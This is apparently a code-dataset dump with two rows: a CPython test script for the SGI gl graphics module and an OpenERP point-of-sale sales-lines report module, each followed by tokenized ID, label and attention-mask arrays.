repo_name
stringlengths
6
100
path
stringlengths
4
294
copies
stringclasses
981 values
size
stringlengths
4
6
content
stringlengths
606
896k
license
stringclasses
15 values
input_ids
listlengths
1.02k
1.02k
labels
listlengths
1.02k
1.02k
attention_mask
listlengths
1.02k
1.02k
mancoast/CPythonPyc_test
cpython/220_test_gl.py
15
6640
#! /usr/bin/env python """Very simple test script for the SGI gl library extension module taken mostly from the documentation. Roger E. Masse """ from test_support import verbose, TestSkipped import gl, GL, time glattrs = ['RGBcolor', 'RGBcursor', 'RGBmode', 'RGBrange', 'RGBwritemask', '__doc__', '__name__', 'addtopup', 'altgetmatrix', 'arc', 'arcf', 'arcfi', 'arcfs', 'arci', 'arcs', 'attachcursor', 'backbuffer', 'backface', 'bbox2', 'bbox2i', 'bbox2s', 'bgnclosedline', 'bgnline', 'bgnpoint', 'bgnpolygon', 'bgnsurface', 'bgntmesh', 'bgntrim', 'blankscreen', 'blanktime', 'blendfunction', 'blink', 'c3f', 'c3i', 'c3s', 'c4f', 'c4i', 'c4s', 'callobj', 'charstr', 'chunksize', 'circ', 'circf', 'circfi', 'circfs', 'circi', 'circs', 'clear', 'clearhitcode', 'clkoff', 'clkon', 'closeobj', 'cmode', 'cmov', 'cmov2', 'cmov2i', 'cmov2s', 'cmovi', 'cmovs', 'color', 'colorf', 'compactify', 'concave', 'cpack', 'crv', 'crvn', 'curorigin', 'cursoff', 'curson', 'curstype', 'curvebasis', 'curveit', 'curveprecision', 'cyclemap', 'czclear', 'defbasis', 'defcursor', 'deflinestyle', 'delobj', 'deltag', 'depthcue', 'devport', 'dglclose', 'dglopen', 'dither', 'dopup', 'doublebuffer', 'draw', 'draw2', 'draw2i', 'draw2s', 'drawi', 'drawmode', 'draws', 'editobj', 'endclosedline', 'endfullscrn', 'endline', 'endpick', 'endpoint', 'endpolygon', 'endpupmode', 'endselect', 'endsurface', 'endtmesh', 'endtrim', 'finish', 'font', 'foreground', 'freepup', 'frontbuffer', 'fudge', 'fullscrn', 'gRGBcolor', 'gRGBmask', 'gammaramp', 'gbegin', 'gconfig', 'genobj', 'gentag', 'getbackface', 'getbuffer', 'getbutton', 'getcmmode', 'getcolor', 'getcpos', 'getcursor', 'getdcm', 'getdepth', 'getdescender', 'getdisplaymode', 'getdrawmode', 'getfont', 'getgdesc', 'getgpos', 'getheight', 'gethitcode', 'getlsbackup', 'getlsrepeat', 'getlstyle', 'getlwidth', 'getmap', 'getmatrix', 'getmcolor', 'getmmode', 'getmonitor', 'getnurbsproperty', 'getopenobj', 'getorigin', 'getothermonitor', 'getpattern', 'getplanes', 'getport', 'getresetls', 'getscrmask', 'getshade', 'getsize', 'getsm', 'gettp', 'getvaluator', 'getvideo', 'getviewport', 'getwritemask', 'getzbuffer', 'gewrite', 'gflush', 'ginit', 'glcompat', 'greset', 'gselect', 'gsync', 'gversion', 'iconsize', 'icontitle', 'imakebackground', 'initnames', 'ismex', 'isobj', 'isqueued', 'istag', 'keepaspect', 'lRGBrange', 'lampoff', 'lampon', 'linesmooth', 'linewidth', 'lmbind', 'lmcolor', 'lmdef', 'loadmatrix', 'loadname', 'logicop', 'lookat', 'lrectread', 'lrectwrite', 'lsbackup', 'lsetdepth', 'lshaderange', 'lsrepeat', 'makeobj', 'maketag', 'mapcolor', 'mapw', 'mapw2', 'maxsize', 'minsize', 'mmode', 'move', 'move2', 'move2i', 'move2s', 'movei', 'moves', 'multimap', 'multmatrix', 'n3f', 'newpup', 'newtag', 'noborder', 'noise', 'noport', 'normal', 'nurbscurve', 'nurbssurface', 'nvarray', 'objdelete', 'objinsert', 'objreplace', 'onemap', 'ortho', 'ortho2', 'overlay', 'packrect', 'pagecolor', 'pagewritemask', 'passthrough', 'patch', 'patchbasis', 'patchcurves', 'patchprecision', 'pclos', 'pdr', 'pdr2', 'pdr2i', 'pdr2s', 'pdri', 'pdrs', 'perspective', 'pick', 'picksize', 'pixmode', 'pmv', 'pmv2', 'pmv2i', 'pmv2s', 'pmvi', 'pmvs', 'pnt', 'pnt2', 'pnt2i', 'pnt2s', 'pnti', 'pnts', 'pntsmooth', 'polarview', 'polf', 'polf2', 'polf2i', 'polf2s', 'polfi', 'polfs', 'poly', 'poly2', 'poly2i', 'poly2s', 'polyi', 'polys', 'popattributes', 'popmatrix', 'popname', 'popviewport', 'prefposition', 'prefsize', 'pupmode', 'pushattributes', 'pushmatrix', 'pushname', 'pushviewport', 'pwlcurve', 'qdevice', 'qenter', 'qgetfd', 'qread', 'qreset', 'qtest', 'rcrv', 'rcrvn', 'rdr', 'rdr2', 'rdr2i', 'rdr2s', 'rdri', 'rdrs', 'readdisplay', 'readsource', 'rect', 'rectcopy', 'rectf', 'rectfi', 'rectfs', 'recti', 'rects', 'rectzoom', 'resetls', 'reshapeviewport', 'ringbell', 'rmv', 'rmv2', 'rmv2i', 'rmv2s', 'rmvi', 'rmvs', 'rot', 'rotate', 'rpatch', 'rpdr', 'rpdr2', 'rpdr2i', 'rpdr2s', 'rpdri', 'rpdrs', 'rpmv', 'rpmv2', 'rpmv2i', 'rpmv2s', 'rpmvi', 'rpmvs', 'sbox', 'sboxf', 'sboxfi', 'sboxfs', 'sboxi', 'sboxs', 'scale', 'screenspace', 'scrmask', 'setbell', 'setcursor', 'setdepth', 'setlinestyle', 'setmap', 'setmonitor', 'setnurbsproperty', 'setpattern', 'setpup', 'setshade', 'setvaluator', 'setvideo', 'shademodel', 'shaderange', 'singlebuffer', 'smoothline', 'spclos', 'splf', 'splf2', 'splf2i', 'splf2s', 'splfi', 'splfs', 'stepunit', 'strwidth', 'subpixel', 'swapbuffers', 'swapinterval', 'swaptmesh', 'swinopen', 'textcolor', 'textinit', 'textport', 'textwritemask', 'tie', 'tpoff', 'tpon', 'translate', 'underlay', 'unpackrect', 'unqdevice', 'v2d', 'v2f', 'v2i', 'v2s', 'v3d', 'v3f', 'v3i', 'v3s', 'v4d', 'v4f', 'v4i', 'v4s', 'varray', 'videocmd', 'viewport', 'vnarray', 'winattach', 'winclose', 'winconstraints', 'windepth', 'window', 'winget', 'winmove', 'winopen', 'winpop', 'winposition', 'winpush', 'winset', 'wintitle', 'wmpack', 'writemask', 'writepixels', 'xfpt', 'xfpt2', 'xfpt2i', 'xfpt2s', 'xfpt4', 'xfpt4i', 'xfpt4s', 'xfpti', 'xfpts', 'zbuffer', 'zclear', 'zdraw', 'zfunction', 'zsource', 'zwritemask'] def main(): # insure that we at least have an X display before continuing. import os try: display = os.environ['DISPLAY'] except: raise TestSkipped, "No $DISPLAY -- skipping gl test" # touch all the attributes of gl without doing anything if verbose: print 'Touching gl module attributes...' for attr in glattrs: if verbose: print 'touching: ', attr getattr(gl, attr) # create a small 'Crisscross' window if verbose: print 'Creating a small "CrissCross" window...' print 'foreground' gl.foreground() if verbose: print 'prefposition' gl.prefposition(500, 900, 500, 900) if verbose: print 'winopen "CrissCross"' w = gl.winopen('CrissCross') if verbose: print 'clear' gl.clear() if verbose: print 'ortho2' gl.ortho2(0.0, 400.0, 0.0, 400.0) if verbose: print 'color WHITE' gl.color(GL.WHITE) if verbose: print 'color RED' gl.color(GL.RED) if verbose: print 'bgnline' gl.bgnline() if verbose: print 'v2f' gl.v2f(0.0, 0.0) gl.v2f(400.0, 400.0) if verbose: print 'endline' gl.endline() if verbose: print 'bgnline' gl.bgnline() if verbose: print 'v2i' gl.v2i(400, 0) gl.v2i(0, 400) if verbose: print 'endline' gl.endline() if verbose: print 'Displaying window for 2 seconds...' time.sleep(2) if verbose: print 'winclose' gl.winclose(w) main()
gpl-3.0
[ 3168, 1182, 2647, 15, 1393, 15, 1813, 2366, 199, 624, 54, 994, 3486, 511, 2884, 367, 314, 18868, 41, 6482, 3555, 3329, 859, 272, 9394, 19762, 687, 314, 3794, 14, 272, 6848, 836, 662, 14, 603, 305, 261, 199, 624, 199, 504, 511, 63, 4058, 492, 3376, 12, 1379, 30472, 199, 646, 6482, 12, 3563, 12, 900, 199, 199, 3528, 3288, 275, 788, 12067, 2326, 297, 283, 12067, 3937, 297, 283, 12067, 632, 297, 283, 12067, 1842, 297, 283, 12067, 3392, 563, 813, 297, 199, 31279, 1301, 7500, 2560, 354, 7500, 283, 525, 2119, 384, 297, 283, 4478, 362, 3642, 297, 283, 9912, 297, 283, 285, 2177, 297, 199, 7, 9912, 329, 297, 283, 285, 2177, 83, 297, 283, 285, 559, 297, 283, 20672, 297, 283, 5040, 3937, 297, 283, 894, 2738, 297, 199, 7, 894, 1409, 297, 283, 11246, 18, 297, 283, 11246, 18, 73, 297, 283, 11246, 18, 83, 297, 283, 66, 784, 5938, 604, 297, 283, 66, 784, 604, 297, 199, 7, 66, 784, 1403, 297, 283, 66, 784, 16295, 297, 283, 6856, 561, 300, 1409, 297, 283, 6856, 343, 6480, 297, 283, 6856, 343, 31898, 297, 199, 7, 2500, 5410, 297, 283, 2500, 521, 297, 283, 66, 552, 1587, 648, 297, 283, 24042, 297, 283, 67, 19, 70, 297, 283, 67, 19, 73, 297, 199, 7, 67, 19, 83, 297, 283, 67, 20, 70, 297, 283, 67, 20, 73, 297, 283, 67, 20, 83, 297, 283, 915, 25678, 297, 283, 1560, 495, 297, 283, 30617, 297, 283, 6092, 297, 199, 7, 6092, 70, 297, 283, 6092, 329, 297, 283, 6092, 2319, 297, 283, 559, 82, 559, 297, 283, 6092, 83, 297, 283, 3584, 297, 199, 7, 3584, 12948, 600, 297, 283, 429, 75, 1997, 297, 283, 429, 75, 265, 297, 283, 1600, 1113, 297, 283, 67, 632, 297, 283, 67, 14469, 297, 199, 7, 67, 14469, 18, 297, 283, 67, 14469, 18, 73, 297, 283, 67, 14469, 18, 83, 297, 283, 67, 573, 433, 297, 283, 67, 573, 3122, 297, 283, 2326, 297, 283, 2326, 70, 297, 199, 7, 863, 645, 3338, 297, 283, 388, 696, 432, 297, 283, 67, 1389, 297, 283, 1556, 86, 297, 283, 1556, 6002, 297, 283, 895, 6493, 297, 199, 7, 895, 1152, 556, 297, 283, 895, 834, 297, 283, 895, 20615, 297, 283, 11895, 19220, 297, 283, 11895, 390, 297, 199, 7, 11895, 6833, 297, 283, 7612, 1130, 297, 283, 16823, 3584, 297, 283, 318, 19220, 297, 283, 318, 3937, 297, 199, 5121, 2829, 472, 20953, 297, 283, 271, 25678, 297, 283, 2264, 1450, 297, 283, 4631, 14932, 297, 283, 2374, 719, 297, 283, 68, 3528, 1600, 297, 199, 5121, 71, 8329, 297, 283, 328, 728, 297, 283, 68, 411, 384, 297, 283, 3157, 2738, 297, 283, 5485, 297, 283, 5485, 18, 297, 199, 5121, 1773, 18, 73, 297, 283, 5485, 18, 83, 297, 283, 5485, 73, 297, 283, 5485, 632, 297, 283, 5485, 83, 297, 283, 6297, 475, 468, 297, 199, 7, 500, 5938, 604, 297, 283, 500, 28418, 1556, 78, 297, 283, 500, 604, 297, 283, 500, 4510, 297, 283, 6520, 297, 199, 7, 500, 16295, 297, 283, 500, 80, 384, 632, 297, 283, 500, 2416, 297, 283, 3198, 300, 1409, 297, 283, 500, 84, 6480, 297, 199, 7, 500, 12263, 297, 283, 8192, 297, 283, 4246, 297, 283, 23801, 297, 283, 4624, 80, 384, 297, 283, 14708, 2738, 297, 199, 7, 70, 16603, 297, 283, 28418, 1556, 78, 297, 283, 71, 12067, 2326, 297, 283, 71, 12067, 2629, 297, 283, 17740, 4584, 5282, 297, 283, 71, 5037, 297, 199, 7, 71, 888, 297, 283, 2268, 1113, 297, 283, 12069, 643, 297, 283, 362, 894, 1409, 297, 283, 362, 2738, 297, 199, 7, 362, 3887, 297, 283, 362, 67, 596, 380, 297, 283, 362, 2326, 297, 283, 362, 67, 1712, 297, 283, 362, 3937, 297, 199, 7, 362, 3833, 77, 297, 283, 362, 4631, 297, 283, 362, 3257, 13747, 297, 283, 362, 2918, 632, 297, 283, 362, 5485, 632, 297, 199, 7, 362, 4246, 297, 283, 362, 71, 3257, 297, 283, 362, 71, 1712, 297, 283, 303, 1589, 1070, 297, 283, 303, 273, 390, 600, 297, 199, 7, 362, 478, 5751, 297, 283, 362, 478, 8755, 297, 283, 362, 76, 2487, 297, 283, 362, 76, 2063, 297, 283, 362, 1130, 297, 199, 7, 362, 3642, 297, 283, 362, 77, 2326, 297, 283, 362, 596, 380, 297, 283, 362, 7157, 297, 199, 7, 362, 78, 300, 1533, 1829, 297, 283, 362, 1490, 1113, 297, 283, 362, 6493, 297, 283, 362, 1848, 7157, 297, 199, 7, 362, 3401, 297, 283, 362, 5140, 397, 297, 283, 362, 719, 297, 283, 362, 3958, 478, 297, 283, 362, 11047, 2629, 297, 199, 7, 362, 31170, 297, 283, 20733, 297, 283, 362, 3300, 297, 283, 362, 683, 297, 283, 362, 637, 16530, 297, 283, 362, 3722, 297, 199, 7, 362, 25484, 297, 283, 362, 3392, 563, 813, 297, 283, 362, 90, 2738, 297, 283, 303, 952, 297, 283, 71, 4939, 297, 199, 7, 71, 826, 297, 283, 3528, 5819, 297, 283, 71, 3958, 297, 283, 71, 2416, 297, 283, 458, 1870, 297, 283, 71, 1023, 297, 199, 7, 4677, 890, 297, 283, 4677, 1213, 297, 283, 73, 1875, 7451, 297, 283, 826, 1247, 297, 283, 374, 278, 88, 297, 199, 7, 374, 1113, 297, 283, 374, 14268, 297, 283, 631, 643, 297, 283, 3250, 18658, 297, 283, 76, 12067, 1842, 297, 283, 416, 311, 1997, 297, 199, 7, 416, 311, 265, 297, 283, 1278, 11607, 297, 283, 24643, 297, 283, 76, 887, 688, 297, 283, 14344, 2326, 297, 283, 14344, 318, 297, 199, 7, 912, 3642, 297, 283, 912, 354, 297, 283, 793, 12802, 80, 297, 283, 11660, 292, 297, 283, 76, 1201, 739, 297, 199, 7, 76, 1201, 952, 297, 283, 478, 5751, 297, 283, 76, 409, 4631, 297, 283, 23025, 669, 618, 297, 283, 478, 8755, 297, 199, 6704, 1728, 1113, 297, 283, 22191, 11304, 297, 283, 1130, 2326, 297, 283, 1130, 87, 297, 283, 1130, 87, 18, 297, 283, 13634, 297, 199, 6704, 262, 890, 297, 283, 596, 380, 297, 283, 1185, 297, 283, 1185, 18, 297, 283, 1185, 18, 73, 297, 283, 1185, 18 ]
[ 1182, 2647, 15, 1393, 15, 1813, 2366, 199, 624, 54, 994, 3486, 511, 2884, 367, 314, 18868, 41, 6482, 3555, 3329, 859, 272, 9394, 19762, 687, 314, 3794, 14, 272, 6848, 836, 662, 14, 603, 305, 261, 199, 624, 199, 504, 511, 63, 4058, 492, 3376, 12, 1379, 30472, 199, 646, 6482, 12, 3563, 12, 900, 199, 199, 3528, 3288, 275, 788, 12067, 2326, 297, 283, 12067, 3937, 297, 283, 12067, 632, 297, 283, 12067, 1842, 297, 283, 12067, 3392, 563, 813, 297, 199, 31279, 1301, 7500, 2560, 354, 7500, 283, 525, 2119, 384, 297, 283, 4478, 362, 3642, 297, 283, 9912, 297, 283, 285, 2177, 297, 199, 7, 9912, 329, 297, 283, 285, 2177, 83, 297, 283, 285, 559, 297, 283, 20672, 297, 283, 5040, 3937, 297, 283, 894, 2738, 297, 199, 7, 894, 1409, 297, 283, 11246, 18, 297, 283, 11246, 18, 73, 297, 283, 11246, 18, 83, 297, 283, 66, 784, 5938, 604, 297, 283, 66, 784, 604, 297, 199, 7, 66, 784, 1403, 297, 283, 66, 784, 16295, 297, 283, 6856, 561, 300, 1409, 297, 283, 6856, 343, 6480, 297, 283, 6856, 343, 31898, 297, 199, 7, 2500, 5410, 297, 283, 2500, 521, 297, 283, 66, 552, 1587, 648, 297, 283, 24042, 297, 283, 67, 19, 70, 297, 283, 67, 19, 73, 297, 199, 7, 67, 19, 83, 297, 283, 67, 20, 70, 297, 283, 67, 20, 73, 297, 283, 67, 20, 83, 297, 283, 915, 25678, 297, 283, 1560, 495, 297, 283, 30617, 297, 283, 6092, 297, 199, 7, 6092, 70, 297, 283, 6092, 329, 297, 283, 6092, 2319, 297, 283, 559, 82, 559, 297, 283, 6092, 83, 297, 283, 3584, 297, 199, 7, 3584, 12948, 600, 297, 283, 429, 75, 1997, 297, 283, 429, 75, 265, 297, 283, 1600, 1113, 297, 283, 67, 632, 297, 283, 67, 14469, 297, 199, 7, 67, 14469, 18, 297, 283, 67, 14469, 18, 73, 297, 283, 67, 14469, 18, 83, 297, 283, 67, 573, 433, 297, 283, 67, 573, 3122, 297, 283, 2326, 297, 283, 2326, 70, 297, 199, 7, 863, 645, 3338, 297, 283, 388, 696, 432, 297, 283, 67, 1389, 297, 283, 1556, 86, 297, 283, 1556, 6002, 297, 283, 895, 6493, 297, 199, 7, 895, 1152, 556, 297, 283, 895, 834, 297, 283, 895, 20615, 297, 283, 11895, 19220, 297, 283, 11895, 390, 297, 199, 7, 11895, 6833, 297, 283, 7612, 1130, 297, 283, 16823, 3584, 297, 283, 318, 19220, 297, 283, 318, 3937, 297, 199, 5121, 2829, 472, 20953, 297, 283, 271, 25678, 297, 283, 2264, 1450, 297, 283, 4631, 14932, 297, 283, 2374, 719, 297, 283, 68, 3528, 1600, 297, 199, 5121, 71, 8329, 297, 283, 328, 728, 297, 283, 68, 411, 384, 297, 283, 3157, 2738, 297, 283, 5485, 297, 283, 5485, 18, 297, 199, 5121, 1773, 18, 73, 297, 283, 5485, 18, 83, 297, 283, 5485, 73, 297, 283, 5485, 632, 297, 283, 5485, 83, 297, 283, 6297, 475, 468, 297, 199, 7, 500, 5938, 604, 297, 283, 500, 28418, 1556, 78, 297, 283, 500, 604, 297, 283, 500, 4510, 297, 283, 6520, 297, 199, 7, 500, 16295, 297, 283, 500, 80, 384, 632, 297, 283, 500, 2416, 297, 283, 3198, 300, 1409, 297, 283, 500, 84, 6480, 297, 199, 7, 500, 12263, 297, 283, 8192, 297, 283, 4246, 297, 283, 23801, 297, 283, 4624, 80, 384, 297, 283, 14708, 2738, 297, 199, 7, 70, 16603, 297, 283, 28418, 1556, 78, 297, 283, 71, 12067, 2326, 297, 283, 71, 12067, 2629, 297, 283, 17740, 4584, 5282, 297, 283, 71, 5037, 297, 199, 7, 71, 888, 297, 283, 2268, 1113, 297, 283, 12069, 643, 297, 283, 362, 894, 1409, 297, 283, 362, 2738, 297, 199, 7, 362, 3887, 297, 283, 362, 67, 596, 380, 297, 283, 362, 2326, 297, 283, 362, 67, 1712, 297, 283, 362, 3937, 297, 199, 7, 362, 3833, 77, 297, 283, 362, 4631, 297, 283, 362, 3257, 13747, 297, 283, 362, 2918, 632, 297, 283, 362, 5485, 632, 297, 199, 7, 362, 4246, 297, 283, 362, 71, 3257, 297, 283, 362, 71, 1712, 297, 283, 303, 1589, 1070, 297, 283, 303, 273, 390, 600, 297, 199, 7, 362, 478, 5751, 297, 283, 362, 478, 8755, 297, 283, 362, 76, 2487, 297, 283, 362, 76, 2063, 297, 283, 362, 1130, 297, 199, 7, 362, 3642, 297, 283, 362, 77, 2326, 297, 283, 362, 596, 380, 297, 283, 362, 7157, 297, 199, 7, 362, 78, 300, 1533, 1829, 297, 283, 362, 1490, 1113, 297, 283, 362, 6493, 297, 283, 362, 1848, 7157, 297, 199, 7, 362, 3401, 297, 283, 362, 5140, 397, 297, 283, 362, 719, 297, 283, 362, 3958, 478, 297, 283, 362, 11047, 2629, 297, 199, 7, 362, 31170, 297, 283, 20733, 297, 283, 362, 3300, 297, 283, 362, 683, 297, 283, 362, 637, 16530, 297, 283, 362, 3722, 297, 199, 7, 362, 25484, 297, 283, 362, 3392, 563, 813, 297, 283, 362, 90, 2738, 297, 283, 303, 952, 297, 283, 71, 4939, 297, 199, 7, 71, 826, 297, 283, 3528, 5819, 297, 283, 71, 3958, 297, 283, 71, 2416, 297, 283, 458, 1870, 297, 283, 71, 1023, 297, 199, 7, 4677, 890, 297, 283, 4677, 1213, 297, 283, 73, 1875, 7451, 297, 283, 826, 1247, 297, 283, 374, 278, 88, 297, 199, 7, 374, 1113, 297, 283, 374, 14268, 297, 283, 631, 643, 297, 283, 3250, 18658, 297, 283, 76, 12067, 1842, 297, 283, 416, 311, 1997, 297, 199, 7, 416, 311, 265, 297, 283, 1278, 11607, 297, 283, 24643, 297, 283, 76, 887, 688, 297, 283, 14344, 2326, 297, 283, 14344, 318, 297, 199, 7, 912, 3642, 297, 283, 912, 354, 297, 283, 793, 12802, 80, 297, 283, 11660, 292, 297, 283, 76, 1201, 739, 297, 199, 7, 76, 1201, 952, 297, 283, 478, 5751, 297, 283, 76, 409, 4631, 297, 283, 23025, 669, 618, 297, 283, 478, 8755, 297, 199, 6704, 1728, 1113, 297, 283, 22191, 11304, 297, 283, 1130, 2326, 297, 283, 1130, 87, 297, 283, 1130, 87, 18, 297, 283, 13634, 297, 199, 6704, 262, 890, 297, 283, 596, 380, 297, 283, 1185, 297, 283, 1185, 18, 297, 283, 1185, 18, 73, 297, 283, 1185, 18, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
guewen/OpenUpgrade
addons/point_of_sale/report/pos_lines.py
150
2369
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import time from openerp.osv import osv from openerp.report import report_sxw class pos_lines(report_sxw.rml_parse): def __init__(self, cr, uid, name, context): super(pos_lines, self).__init__(cr, uid, name, context=context) self.total = 0.0 self.localcontext.update({ 'time': time, 'total_quantity': self.__total_quantity__, 'taxes':self.__taxes__, }) def __total_quantity__(self, obj): tot = 0 for line in obj.lines: tot += line.qty self.total = tot return self.total def __taxes__(self, obj): self.cr.execute ( " Select acct.name from pos_order as po " \ " LEFT JOIN pos_order_line as pol ON po.id = pol.order_id " \ " LEFT JOIN product_taxes_rel as ptr ON pol.product_id = ptr.prod_id " \ " LEFT JOIN account_tax as acct ON acct.id = ptr.tax_id " \ " WHERE pol.id = %s", (obj.id,)) res=self.cr.fetchone()[0] return res class report_pos_lines(osv.AbstractModel): _name = 'report.point_of_sale.report_saleslines' _inherit = 'report.abstract_report' _template = 'point_of_sale.report_saleslines' _wrapped_report_class = pos_lines # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 646, 900, 199, 504, 5166, 14, 4795, 492, 9506, 199, 504, 5166, 14, 3070, 492, 3622, 63, 20851, 421, 199, 533, 2086, 63, 1278, 8, 3070, 63, 20851, 14, 16300, 63, 1122, 304, 339, 347, 636, 826, 721, 277, 12, 2467, 12, 1747, 12, 536, 12, 1067, 304, 267, 1613, 8, 1712, 63, 1278, 12, 291, 2843, 826, 721, 1556, 12, 1747, 12, 536, 12, 1067, 29, 1100, 9, 267, 291, 14, 2923, 275, 378, 14, 16, 267, 291, 14, 17886, 14, 873, 2561, 288, 283, 521, 356, 900, 12, 288, 283, 2923, 63, 10577, 356, 291, 855, 2923, 63, 10577, 3108, 288, 283, 22272, 356, 277, 855, 22272, 3108, 398, 3828, 339, 347, 636, 2923, 63, 10577, 721, 277, 12, 1559, 304, 267, 12657, 275, 378, 267, 367, 1004, 315, 1559, 14, 1278, 26, 288, 12657, 847, 1004, 14, 5643, 267, 291, 14, 2923, 275, 12657, 267, 372, 291, 14, 2923, 339, 347, 636, 22272, 721, 277, 12, 1559, 304, 267, 291, 14, 1556, 14, 2526, 334, 298, 9496, 29468, 14, 354, 687, 2086, 63, 1648, 465, 1115, 298, 971, 2892, 298, 6578, 10593, 2086, 63, 1648, 63, 604, 465, 3708, 5258, 1115, 14, 344, 275, 3708, 14, 1648, 63, 344, 298, 971, 2892, 298, 6578, 10593, 3336, 63, 22272, 63, 3369, 465, 12448, 5258, 3708, 14, 2558, 63, 344, 275, 12448, 14, 8788, 63, 344, 298, 971, 2892, 298, 6578, 10593, 2933, 63, 5530, 465, 29468, 5258, 29468, 14, 344, 275, 12448, 14, 5530, 63, 344, 298, 971, 2892, 298, 6038, 3708, 14, 344, 275, 450, 83, 401, 334, 1113, 14, 344, 4641, 267, 522, 29, 277, 14, 1556, 14, 11591, 3430, 16, 61, 267, 372, 522, 421, 199, 533, 3622, 63, 1712, 63, 1278, 8, 4795, 14, 8458, 1685, 304, 272, 485, 354, 275, 283, 3070, 14, 1403, 63, 1618, 63, 8515, 14, 3070, 63, 16175, 1278, 7, 272, 485, 6486, 275, 283, 3070, 14, 6198, 63, 3070, 7, 272, 485, 1160, 275, 283, 1403, 63, 1618, 63, 8515, 14, 3070, 63, 16175, 1278, 7, 272, 485, 9130, 63, 3070, 63, 533, 275, 2086, 63, 1278, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 